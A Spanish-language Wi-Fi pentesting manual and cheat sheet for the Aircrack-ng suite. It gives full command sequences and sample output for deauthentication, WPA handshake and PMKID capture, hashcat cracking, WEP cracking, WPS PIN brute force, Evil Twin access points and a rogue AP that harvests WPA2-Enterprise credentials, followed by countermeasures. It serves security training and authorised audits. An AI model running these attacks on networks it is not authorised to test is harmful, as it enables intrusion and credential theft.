Auditoría de Redes Wi-Fi
Aircrack-ng es la suite de auditoría de redes inalámbricas más completa y utilizada en pentesting. Permite capturar tráfico, inyectar paquetes, realizar ataques de deautenticación y crackear contraseñas WEP, WPA y WPA2. Incluida por defecto en Kali Linux y presente en todas las certificaciones de seguridad inalámbrica.
Suite de Herramientas
Protocolos Wi-Fi y su Seguridad
| Protocolo | Seguridad | Tiempo de crack | Estado |
|---|---|---|---|
| Open | Ninguna — tráfico en claro | N/A — sin contraseña | Inseguro |
| WEP | RC4 roto. IVs predecibles | Segundos con suficientes IVs | Roto |
| WPA | TKIP — parcheado de WEP | Diccionario contra handshake | Obsoleto |
| WPA2-Personal | AES-CCMP. Robusto | Diccionario/fuerza bruta (lento) | Común |
| WPA2-Enterprise | 802.1X + RADIUS. Muy robusto | No crackeable directamente | Recomendado |
| WPA3-SAE | Dragonfly — sin handshake | No vulnerable a captura offline | Seguro |
No todas las tarjetas Wi-Fi soportan modo monitor e inyección de paquetes. El chipset es más importante que la marca. Los más compatibles con Aircrack-ng son Atheros, Realtek RTL8812AU y Ralink.
Adaptadores Recomendados para Pentesting Wi-Fi
| Adaptador | Chipset | Bandas | Monitor | Inyección |
|---|---|---|---|---|
| Alfa AWUS036ACS | RTL8811AU | 2.4 + 5 GHz | ✓ | ✓ |
| Alfa AWUS036ACH | RTL8812AU | 2.4 + 5 GHz | ✓ | ✓ |
| Alfa AWUS036NHA | Atheros AR9271 | 2.4 GHz | ✓ | ✓ |
| TP-Link TL-WN722N v1 | Atheros AR9271 | 2.4 GHz | ✓ | ✓ |
| TP-Link TL-WN722N v2/v3 | Realtek RTL8188EUS | 2.4 GHz | Con driver parcheado | Limitada |
| Intel integrada (portátil) | Varios | 2.4 + 5 GHz | No recomendado | ✗ |
# Verificar interfaces disponibles ip link show iwconfig wlan0 IEEE 802.11 Mode:Managed ← adaptador en modo normal # Ver chipset y compatibilidad airmon-ng PHY Interface Driver Chipset phy0 wlan0 ath9k_htc Qualcomm Atheros AR9271 # Matar procesos que interfieren airmon-ng check kill Killing these processes: PID Name 892 NetworkManager 934 wpa_supplicant # Activar modo monitor airmon-ng start wlan0 [PHY0] Driver: ath9k_htc [PHY0] Chipset: AR9271 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon # Verificar modo monitor activo iwconfig wlan0mon wlan0mon IEEE 802.11 Mode:Monitor Tx-Power=20 dBm # Cambiar canal específico iwconfig wlan0mon channel 6 iw dev wlan0mon set channel 6 # Al terminar: desactivar modo monitor airmon-ng stop wlan0mon service NetworkManager restart
El ecosistema completo alrededor de aircrack-ng: herramientas complementarias para captura PMKID, análisis de capturas, cracking acelerado por GPU y Evil Twin.
# Aircrack-ng suite (Kali — ya incluida) sudo apt install aircrack-ng -y # hcxtools — captura PMKID y conversión de formatos sudo apt install hcxtools hcxdumptool -y # Hashcat — cracking por GPU (mucho más rápido que aircrack) sudo apt install hashcat -y # Wireshark — análisis visual de capturas .cap sudo apt install wireshark -y # Cowpatty — verificar handshakes y cracking WPA sudo apt install cowpatty -y # Reaver / Bully — ataques WPS sudo apt install reaver bully -y # Hostapd-wpe — Evil Twin WPA2-Enterprise sudo apt install hostapd-wpe -y # Verificar aircrack instalado aircrack-ng --version Aircrack-ng 1.7 - (C) 2006-2022 Thomas d'Otreppe
airodump-ng es la herramienta de reconocimiento de Aircrack-ng. Muestra en tiempo real todos los puntos de acceso cercanos, sus clientes, señal, canal, tipo de cifrado y BSSID. Es el primer paso de cualquier auditoría Wi-Fi.
Campos Clave de airodump-ng
| Campo | Significado | Relevancia para auditoría |
|---|---|---|
BSSID | MAC del punto de acceso | Identificador único del AP — lo usaremos en todos los comandos |
PWR | Potencia de señal (dBm) | Más cerca de 0 = más fuerte. -40 excelente, -70 débil |
ENC | Tipo de cifrado | WPA2 (robusto), WPA (obsoleto), WEP (roto), OPN (sin seguridad) |
CIPHER | Algoritmo de cifrado | CCMP (AES) es seguro, TKIP es vulnerable |
AUTH | Autenticación | PSK = contraseña, MGT = 802.1X/Enterprise |
CH | Canal Wi-Fi | Usaremos este canal para capturar con --channel |
#Data | Paquetes de datos capturados | Más datos = más clientes activos |
STATION | MAC de clientes conectados | Usaremos un cliente para el ataque de deautenticación |
# Escaneo general — todos los canales airodump-ng wlan0mon # Filtrar por banda 2.4 GHz o 5 GHz airodump-ng --band bg wlan0mon # solo 2.4 GHz airodump-ng --band a wlan0mon # solo 5 GHz airodump-ng --band abg wlan0mon # ambas bandas # Focalizar en un AP específico y guardar captura airodump-ng --bssid A4:91:B1:2C:3D:E0 \ --channel 6 \ --write captura_miRed \ wlan0mon Esto genera: captura_miRed-01.cap ← archivo de captura (donde irá el handshake) captura_miRed-01.csv ← datos en CSV captura_miRed-01.kismet.csv # Solo mostrar APs de una red en concreto airodump-ng --essid "MiRed_Casa" wlan0mon # Capturar en canal específico (sin saltar entre canales) airodump-ng --channel 6 wlan0mon # Guardar en varios formatos simultáneamente airodump-ng --bssid A4:91:B1:2C:3D:E0 -c 6 \ --write captura --output-format pcap,csv,kismet \ wlan0mon
El handshake WPA/WPA2 es el intercambio de 4 paquetes (4-way handshake) que ocurre cuando un cliente se conecta al AP. Contiene la información necesaria para verificar la contraseña. Capturarlo es el objetivo principal antes del cracking.
## TERMINAL 1: Capturar airodump-ng --bssid A4:91:B1:2C:3D:E0 \ --channel 6 \ --write captura_miRed \ wlan0mon ## TERMINAL 2: Enviar deautenticaciones (mientras airodump captura) # Deauth a TODOS los clientes del AP aireplay-ng --deauth 5 \ -a A4:91:B1:2C:3D:E0 \ wlan0mon # Deauth a un cliente específico (más sigiloso) aireplay-ng --deauth 5 \ -a A4:91:B1:2C:3D:E0 \ -c F0:9F:C2:1A:3B:44 \ wlan0mon 14:35:44 Waiting for beacon frame (BSSID: A4:91:B1:2C:3D:E0) on channel 6 14:35:44 Sending 5 directed DeAuth (code 7). STMAC: [F0:9F:C2:1A:3B:44] ## VERIFICAR que el handshake es válido aircrack-ng captura_miRed-01.cap Index ESSID Encryption 1 MiRed_Casa WPA (1 handshake) ← handshake capturado! # Con cowpatty (más detallado) cowpatty -r captura_miRed-01.cap -s "MiRed_Casa" -f /dev/null Collected all necessary data to mount crack against WPA/PSK passphrase.
aireplay-ng inyecta paquetes en la red Wi-Fi. Su ataque más usado es la deautenticación (--deauth) para forzar reconexiones. También soporta otros ataques como ARP replay para WEP.
## VERIFICAR QUE LA TARJETA SOPORTA INYECCIÓN aireplay-ng --test wlan0mon Trying broadcast probe requests... Injection is working! Found 3 APs Ping (min/avg/max): 1.123ms/2.456ms/4.789ms 30/30: 100% ## ATAQUE 0 — DEAUTENTICACIÓN (el más usado) # Enviar N paquetes de deauth a todos los clientes del AP aireplay-ng -0 5 -a BSSID_AP wlan0mon # -0 5 = 5 deauths (0 = continuo hasta Ctrl+C) # Deauth a un cliente específico aireplay-ng -0 5 -a BSSID_AP -c MAC_CLIENTE wlan0mon ## ATAQUE 1 — FAKE AUTHENTICATION (WEP) # Autenticarse en el AP para poder inyectar paquetes aireplay-ng -1 0 -e "NombreRed" -a BSSID_AP -h MAC_TARJETA wlan0mon Association successful :-) (AID: 1) ## ATAQUE 3 — ARP REQUEST REPLAY (WEP) # Capturar y reinyectar paquetes ARP para generar IVs rápidamente aireplay-ng -3 -b BSSID_AP -h MAC_TARJETA wlan0mon Saving ARP requests in replay_arp-0115-143507.cap Read 12345 packets (got 1000 ARP requests), sent 5678 packets... ## ATAQUE 6 — CAFE LATTE (WEP, extraer clave de cliente) aireplay-ng -6 -D -b BSSID_AP -h MAC_TARJETA wlan0mon ## FRAGMENTACIÓN (WEP — obtener keystream) aireplay-ng -5 -b BSSID_AP -h MAC_TARJETA wlan0mon ## VERIFICAR INYECCIÓN EN CANAL ESPECÍFICO aireplay-ng --test -e "NombreRed" wlan0mon
Con el handshake capturado, aircrack-ng realiza un ataque de diccionario: prueba cada contraseña de la wordlist para ver si genera el mismo handshake. La velocidad depende de la CPU — hashcat con GPU es mucho más rápido.
## ATAQUE DE DICCIONARIO BÁSICO aircrack-ng captura-01.cap -w /usr/share/wordlists/rockyou.txt # Especificar el ESSID si hay múltiples redes en la captura aircrack-ng captura-01.cap -e "MiRed_Casa" -w rockyou.txt # Especificar el BSSID aircrack-ng captura-01.cap -b A4:91:B1:2C:3D:E0 -w rockyou.txt ## MÚLTIPLES WORDLISTS aircrack-ng captura-01.cap -w rockyou.txt,wordlist2.txt,custom.txt ## CON REGLAS (via stdin — generar variaciones en tiempo real) john --wordlist=rockyou.txt --rules --stdout | aircrack-ng captura-01.cap -w - # john genera las variaciones y las pasa por stdin a aircrack ## VELOCIDADES APROXIMADAS EN CPU (para referencia) aircrack-ng (CPU): 5.000 - 10.000 PMK/s hashcat (GPU RTX3090): 500.000 - 1.000.000 PMK/s ← 100x más rápido ## VERIFICAR HANDSHAKE SIN INICIAR CRACKING aircrack-ng captura-01.cap # BSSID ESSID Encryption 1 A4:91:B1:2C:3D:E0 MiRed_Casa WPA (1 handshake)
Hashcat es hasta 100 veces más rápido que aircrack-ng para crackear WPA2 porque usa la GPU. El proceso requiere convertir el handshake al formato hc22000 con hcxtools.
## PASO 1: Convertir captura .cap a formato hc22000 hcxpcapngtool -o handshake.hc22000 captura_miRed-01.cap summary capture file --------------------- read cap file : 1 read packets : 847 written hashes : 1 (format 22000) handshakes : 1 # Alternativa con cap2hashcat cap2hashcat captura_miRed-01.cap handshake.hc22000 ## PASO 2: Crackear con hashcat # Modo 22000 = WPA-PBKDF2-PMKID+EAPOL hashcat -m 22000 handshake.hc22000 /usr/share/wordlists/rockyou.txt # Con reglas (mucho más efectivo que diccionario puro) hashcat -m 22000 handshake.hc22000 rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule # Con múltiples wordlists y reglas hashcat -m 22000 handshake.hc22000 rockyou.txt nombres_espana.txt \ -r best64.rule -r d3ad0ne.rule # Ataque de máscara (fuerza bruta estructurada) # Contraseñas: 8 dígitos (típico de routers ISP) hashcat -m 22000 handshake.hc22000 -a 3 "?d?d?d?d?d?d?d?d" # Contraseña con letra mayúscula + 7 minúsculas + 2 dígitos hashcat -m 22000 handshake.hc22000 -a 3 "?u?l?l?l?l?l?l?l?d?d" # MÁSCARAS comunes ?l = minúscula (a-z) ?u = mayúscula (A-Z) ?d = dígito (0-9) ?s = especial (!@#$...) ?a = todos los anteriores ?b = todos los bytes ## VER PROGRESO / RESULTADOS hashcat -m 22000 handshake.hc22000 rockyou.txt --show WPA*02*...:MiRed_Casa:password123 ## EN GPU DE LABORATORIO (velocidades aproximadas) RTX 3090: ~1.000.000 PMK/s con WPA2 RTX 4090: ~1.800.000 PMK/s AMD RX 6900 XT: ~900.000 PMK/s
La calidad de la wordlist determina el éxito del cracking. Una wordlist bien elegida para el contexto puede crackear contraseñas en minutos que una genérica nunca encontraría.
## WORDLISTS INCLUIDAS EN KALI /usr/share/wordlists/rockyou.txt ← 14M contraseñas reales /usr/share/wordlists/fasttrack.txt ← Contraseñas comunes /usr/share/wordlists/fern-wifi/common.txt ← Wi-Fi específico ## DESCOMPRIMIR ROCKYOU gunzip /usr/share/wordlists/rockyou.txt.gz wc -l /usr/share/wordlists/rockyou.txt 14344391 rockyou.txt ## WORDLISTS ESPECÍFICAS PARA WI-FI ESPAÑOLA # Contraseñas de routers ISP españoles (patrones conocidos) # Movistar/O2: WLAN_XXXX (4 char hex + nombre router) # Vodafone: YYYYMMDD o 8 dígitos # Orange: nombre_red + sufijo # Generar wordlist de contraseñas numéricas de 8 dígitos (routers ISP) crunch 8 8 0123456789 -o numeros8.txt Crunch will now generate the following amount of data: 9000000000 bytes... # Generar wordlist de fechas (cumpleaños, aniversarios) crunch 8 8 -t "@@@@@@@@" -p 01234567890 ## REGLAS HASHCAT — Transformar wordlist best64.rule ← 64 reglas de alta cobertura d3ad0ne.rule ← 34.096 reglas, muy completo OneRuleToRuleThemAll.rule ← 52.000 reglas, el más completo rockyou-30000.rule ← basado en patrones de RockYou ls /usr/share/hashcat/rules/ ## ESTRATEGIA RECOMENDADA (en orden) 1. rockyou.txt puro (minutos) 2. rockyou.txt + best64.rule (1-2h) 3. Wordlist personalizada al contexto (nombre ESSID, ISP) 4. Ataque de máscara (patrones conocidos del router) 5. rockyou.txt + d3ad0ne.rule (muchas horas) 6. Fuerza bruta pura (solo si se conoce la longitud/patrón) ## CREAR WORDLIST CONTEXTUAL # Si el ESSID es "MOVISTAR_CASA" generamos variaciones cat > custom_wifi.txt << 'EOF' MOVISTAR_CASA movistar_casa MovistarCasa Movistar2024 movistar2024 12345678 87654321 EOF hashcat -m 22000 handshake.hc22000 custom_wifi.txt
WEP (Wired Equivalent Privacy) está matemáticamente roto desde 2001. Con suficientes paquetes capturados, aircrack-ng puede recuperar la clave WEP en segundos independientemente de su longitud o complejidad.
## FLUJO COMPLETO PARA CRACKEAR WEP # PASO 1: Identificar la red WEP airodump-ng wlan0mon 00:14:6C:7E:40:80 -80 WEP WEP Oficina_Antigua ← objetivo WEP # PASO 2: Capturar IVs (necesitamos 20.000-40.000+) airodump-ng --bssid 00:14:6C:7E:40:80 \ --channel 6 \ --write wep_captura \ wlan0mon # PASO 3 (opcional): Fake auth para poder inyectar aireplay-ng -1 0 -a 00:14:6C:7E:40:80 -h 00:11:22:33:44:55 wlan0mon # PASO 4: ARP replay para generar IVs rápidamente aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:11:22:33:44:55 wlan0mon Got 1 ARP requests Sending ARP requests... 45678/s #Data: 89234 IVs ← acumulando IVs... # PASO 5: Crackear cuando haya suficientes IVs aircrack-ng wep_captura-01.cap Aircrack-ng 1.7 [00:00:03] Tested 1234 keys (got 25847 IVs) KB depth byte(vote) 0 0/ 1 AB( 512) 58( 384) ... 1 0/ 1 CD( 480) ... KEY FOUND! [ AB:CD:EF:12:34 ] ← clave WEP encontrada en segundos!
El ataque PMKID (descubierto en 2018 por Jens Steube, autor de hashcat) permite obtener material crackeable de WPA2 sin necesidad de capturar un handshake ni esperar a que un cliente se conecte. Solo se necesita la comunicación con el AP.
## MÉTODO 1: hcxdumptool (la forma más directa) # Capturar PMKID del AP objetivo hcxdumptool -i wlan0mon \ --enable_status=1 \ -o pmkid_captura.pcapng \ --filterlist_ap=targets.txt \ --filtermode=2 # targets.txt contiene el BSSID del AP: A4:91:B1:2C:3D:E0 start... [00:00:02] 1 beacons/second [00:00:03] 1 association responses [00:00:03] 1 RSN PMKID ← PMKID obtenido! # Convertir a formato hashcat hc22000 hcxpcapngtool -o pmkid.hc22000 pmkid_captura.pcapng summary capture file written hashes : 1 (format 22000) PMKID : 1 ← confirmado # Crackear con hashcat hashcat -m 22000 pmkid.hc22000 /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule WPA*01*a8206035b5ef8ffe...*MiRed_Casa:password123 ← crackeado! ## MÉTODO 2: Aircrack-ng suite (sin hcxdumptool) # Capturar con airodump-ng (también captura PMKID) airodump-ng --bssid A4:91:B1:2C:3D:E0 -c 6 \ --write pmkid_airodump wlan0mon # Enviar probe para forzar respuesta PMKID aireplay-ng --deauth 1 -a A4:91:B1:2C:3D:E0 wlan0mon # Convertir y crackear hcxpcapngtool -o pmkid.hc22000 pmkid_airodump-01.cap hashcat -m 22000 pmkid.hc22000 rockyou.txt
Un Evil Twin es un punto de acceso falso que imita a uno legítimo. Los clientes se conectan al AP falso pensando que es el real, permitiendo capturar tráfico o credenciales. Requiere dos interfaces Wi-Fi o una interfaz y conexión Ethernet.
## CONCEPTO: Dos interfaces Wi-Fi # wlan0mon: modo monitor, para deauth del AP legítimo # wlan1mon: modo monitor, para el AP falso ## PASO 1: Crear el AP falso con el mismo ESSID airbase-ng -e "MiRed_Casa" \ -c 6 \ -a A4:91:B1:2C:3D:E0 \ wlan1mon Created tap interface at0 Trying to set MTU on at0 to 1500 Access Point with BSSID A4:91:B1:2C:3D:E0 started. ## PASO 2: Configurar la interfaz virtual para routing ifconfig at0 10.0.0.1 netmask 255.255.255.0 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 ## PASO 3: DHCP server para los clientes dnsmasq --interface=at0 \ --dhcp-range=10.0.0.10,10.0.0.50,255.255.255.0,12h \ --dhcp-option=3,10.0.0.1 \ --dhcp-option=6,8.8.8.8 \ --no-daemon ## PASO 4: Deautenticar clientes del AP legítimo aireplay-ng --deauth 0 -a A4:91:B1:2C:3D:E0 wlan0mon # Los clientes se reconectarán al AP falso ## PASO 5: Capturar tráfico tcpdump -i at0 -w captura_mitm.pcap wireshark captura_mitm.pcap # analizar después ## HERRAMIENTA ALTERNATIVA: hostapd-wpe (para WPA2-Enterprise) ## Ver sección de Lab WPA2-Enterprise
WPS (Wi-Fi Protected Setup) tiene un diseño vulnerable: su PIN de 8 dígitos puede crackearse en ~11.000 intentos por un fallo en la verificación en dos mitades. Reaver y Bully explotan este fallo.
## VERIFICAR QUÉ APs TIENEN WPS ACTIVO wash -i wlan0mon BSSID Ch dBm WPS Lck Vendor ESSID A4:91:B1:2C:3D:E0 6 -42 2.0 No AtherosC MiRed_Casa 78:D2:94:8A:F1:20 11 -58 1.0 Yes Broadcom Vecino_5G ← WPS Locked! # Lck:No = WPS activo y sin bloqueo (vulnerable) # Lck:Yes = bloqueado (demasiados intentos fallidos) ## CON REAVER reaver -i wlan0mon \ -b A4:91:B1:2C:3D:E0 \ -c 6 \ -vv [+] Waiting for beacon from A4:91:B1:2C:3D:E0 [+] Switching wlan0mon to channel 6 [+] Associated with A4:91:B1:2C:3D:E0 [+] Trying pin "12345670" [+] Trying pin "00005678" ... [+] WPS PIN: '12345670' [+] WPA PSK: 'password123' [+] AP SSID: 'MiRed_Casa' # Reaver con delay (evitar bloqueo) reaver -i wlan0mon -b A4:91:B1:2C:3D:E0 -c 6 \ -d 1 -r 3:15 -vv # -d 1 = delay 1s entre intentos, -r 3:15 = 3 intentos / 15s pausa ## CON BULLY (alternativa a reaver) bully -b A4:91:B1:2C:3D:E0 -c 6 -F -B wlan0mon ## PIXIE DUST ATTACK (más rápido, solo algunos APs) reaver -i wlan0mon -b A4:91:B1:2C:3D:E0 -c 6 -K 1 -vv # -K 1 = Pixie Dust offline attack [Pixie-Dust] WPS pin: 12345670 (found in 3 seconds!)
Flujo completo de auditoría WPA2 en un entorno de laboratorio propio: desde activar el modo monitor hasta crackear la contraseña con hashcat. El laboratorio más importante del manual.
Requisito: adaptador Wi-Fi compatible con modo monitor. Red WPA2 propia. En entorno de lab, establece una red Wi-Fi temporal con contraseña de la wordlist para practicar.
## PREPARAR ENTORNO DE LAB # Crear hotspot temporal en Android/iPhone con contraseña "password123" # O usar un router propio con contraseña conocida para verificar el proceso ## FASE 1: PREPARAR ADAPTADOR airmon-ng check kill airmon-ng start wlan0 iwconfig wlan0mon Mode:Monitor ← listo ## FASE 2: RECONOCIMIENTO airodump-ng wlan0mon # Localizar nuestra red de lab, anotar BSSID y canal BSSID CH ENC ESSID AA:BB:CC:DD:EE:FF 6 WPA2 MiHotspot-Lab ## FASE 3: CAPTURAR HANDSHAKE # Terminal 1: iniciar captura airodump-ng --bssid AA:BB:CC:DD:EE:FF \ -c 6 \ --write lab_wpa2 \ wlan0mon # Terminal 2: enviar deauth para forzar el handshake aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon # Si no hay clientes conectados, conectar un dispositivo antes # Verificar handshake (esquina superior derecha de airodump-ng) WPA handshake: AA:BB:CC:DD:EE:FF ← aparece cuando se captura ## FASE 4: CRACKING CON AIRCRACK-NG (CPU) aircrack-ng lab_wpa2-01.cap -w /usr/share/wordlists/rockyou.txt KEY FOUND! [ password123 ] ← éxito! ## FASE 4 (ALTERNATIVA): HASHCAT (GPU — mucho más rápido) hcxpcapngtool -o lab.hc22000 lab_wpa2-01.cap hashcat -m 22000 lab.hc22000 rockyou.txt WPA*02*...*MiHotspot-Lab:password123 ## FASE 5: LIMPIEZA airmon-ng stop wlan0mon service NetworkManager restart rm lab_wpa2-*.cap lab.hc22000
Obtener material crackeable WPA2 sin esperar a que ningún cliente se conecte. Útil cuando la red objetivo no tiene usuarios activos en el momento de la auditoría.
## REQUISITO: hcxdumptool instalado sudo apt install hcxtools hcxdumptool -y ## PASO 1: Identificar el BSSID objetivo airodump-ng wlan0mon 2>/dev/null | head -20 # Anotar el BSSID de nuestra red de lab ## PASO 2: Crear archivo de filtro con el BSSID objetivo # (sin dos puntos, en minúsculas) echo "aabbccddeeff" > target_bssid.txt ## PASO 3: Capturar PMKID hcxdumptool -i wlan0mon \ --enable_status=1 \ -o pmkid_lab.pcapng \ --filterlist_ap=target_bssid.txt \ --filtermode=2 start... [00:00:01] 1 beacons/second [00:00:02] 1 EAPOL M1s [00:00:02] 1 RSN PMKID ← PMKID capturado! # Ctrl+C cuando aparezca "RSN PMKID" ## PASO 4: Ver qué se capturó hcxpcapngtool --info=stdout pmkid_lab.pcapng file name : pmkid_lab.pcapng file written by : hcxdumptool 6.2.7 PMKID (0x00) : 1 ← tenemos 1 PMKID ## PASO 5: Convertir a formato hashcat hcxpcapngtool -o pmkid_lab.hc22000 pmkid_lab.pcapng written hashes : 1 (format 22000) ## PASO 6: Verificar el contenido del hash cat pmkid_lab.hc22000 WPA*01*a8206035b5ef8f...*MiHotspot-Lab ## PASO 7: Crackear con hashcat hashcat -m 22000 pmkid_lab.hc22000 \ /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule WPA*01*...*MiHotspot-Lab:password123 ← crackeado!
WPA2-Enterprise (802.1X) usa RADIUS para autenticación individual de usuarios. No tiene una contraseña compartida que crackear, pero puede atacarse con un Rogue AP que capture las credenciales del cliente.
## PREREQUISITO: hostapd-wpe sudo apt install hostapd-wpe -y ## PASO 1: Configurar hostapd-wpe cat > /etc/hostapd-wpe/hostapd-wpe.conf << 'EOF' interface=wlan0 driver=nl80211 ssid=CorpWifi channel=6 hw_mode=g eap_server=1 eap_user_file=/etc/hostapd-wpe/hostapd.eap_user ca_cert=/etc/hostapd-wpe/certs/ca.pem server_cert=/etc/hostapd-wpe/certs/server.pem private_key=/etc/hostapd-wpe/certs/server.key EOF ## PASO 2: Lanzar el Rogue AP hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf Configuration file: /etc/hostapd-wpe/hostapd-wpe.conf Using interface wlan0 with hwaddr and ssid "CorpWifi" wlan0: AP-ENABLED [+] mschapv2: john.doe:$MSCHAPv2$aabbccdd$eeff1122...$ ← credenciales capturadas! ## PASO 3: Crackear el hash MSCHAPv2 capturado john --format=netntlm /tmp/hostapd-wpe.log P@ssw0rd (john.doe) # O con hashcat hashcat -m 5500 "john.doe:::aabbccdd:eeff1122...:..." rockyou.txt P@ssw0rd ← contraseña del usuario corporativo
Las contramedidas contra los ataques cubiertos en este manual. Aplicar estas configuraciones hace inviable o muy difícil el acceso no autorizado a tu red Wi-Fi.
| Medida | Protege contra | Cómo implementar | Prioridad |
|---|---|---|---|
| Usar WPA3-SAE o WPA2 con contraseña larga | Cracking de handshake/PMKID | Router → Wi-Fi → Seguridad → WPA3 o WPA2 | Crítico |
| Contraseña aleatoria de 20+ caracteres | Ataques de diccionario | Usar un gestor de contraseñas para generarla | Crítico |
| Desactivar WPS | Ataque WPS PIN | Router → Wi-Fi → WPS → Desactivar | Crítico |
| Usar WPA2-Enterprise (802.1X) | Contraseña compartida comprometida | Requiere servidor RADIUS (FreeRADIUS) | Medio |
| Reducir potencia de señal | Monitorización remota | Router → Wi-Fi → Potencia de transmisión → Baja | Medio |
| Red de invitados aislada | Acceso a red interna si se compromete | Router → Red invitados → Activar aislamiento | Bajo |
| SSID oculto (no ESSID broadcasting) | Reconocimiento básico | Router → Wi-Fi → Ocultar SSID (seguridad mínima) | Bajo |
Cheatsheet de Aircrack-ng para auditorías Wi-Fi en entornos autorizados.
Flujo WPA2 — Handshake
- Matar procesos:
airmon-ng check kill - Activar monitor:
airmon-ng start wlan0 - Escanear redes:
airodump-ng wlan0mon - Capturar objetivo:
airodump-ng --bssid BSSID -c CH --write captura wlan0mon - Deauth para handshake:
aireplay-ng --deauth 5 -a BSSID wlan0mon - Verificar handshake:
aircrack-ng captura-01.cap - Crackear (CPU):
aircrack-ng captura-01.cap -w rockyou.txt - Convertir para GPU:
hcxpcapngtool -o hash.hc22000 captura-01.cap - Crackear (GPU):
hashcat -m 22000 hash.hc22000 rockyou.txt -r best64.rule
Flujo PMKID — Sin Clientes
- Preparar filtro BSSID:
echo "aabbccddeeff" > target.txt - Capturar PMKID:
hcxdumptool -i wlan0mon -o pmkid.pcapng --filterlist_ap=target.txt --filtermode=2 - Convertir:
hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng - Crackear:
hashcat -m 22000 pmkid.hc22000 rockyou.txt
Airmon-ng
- Ver interfaces:
airmon-ng - Matar conflictos:
airmon-ng check kill - Activar monitor:
airmon-ng start wlan0 - Desactivar monitor:
airmon-ng stop wlan0mon - Cambiar canal:
iwconfig wlan0mon channel 6
Hashcat — Máscaras útiles para Wi-Fi
| Patrón | Máscara | Cuándo usar |
|---|---|---|
| 8 dígitos (routers ISP) | -a 3 "?d?d?d?d?d?d?d?d" | Movistar, Vodafone, routers por defecto |
| Nombre + 4 dígitos | -a 3 "?l?l?l?l?l?l?l?d?d?d?d" | Contraseñas tipo "casa2024" |
| May + 6 min + 2 dígitos | -a 3 "?u?l?l?l?l?l?l?d?d" | Contraseñas tipo "Hogar42" |
| 10 caracteres alfanuméricos | -a 3 "?a?a?a?a?a?a?a?a?a?a" | Fuerza bruta general (muy lento) |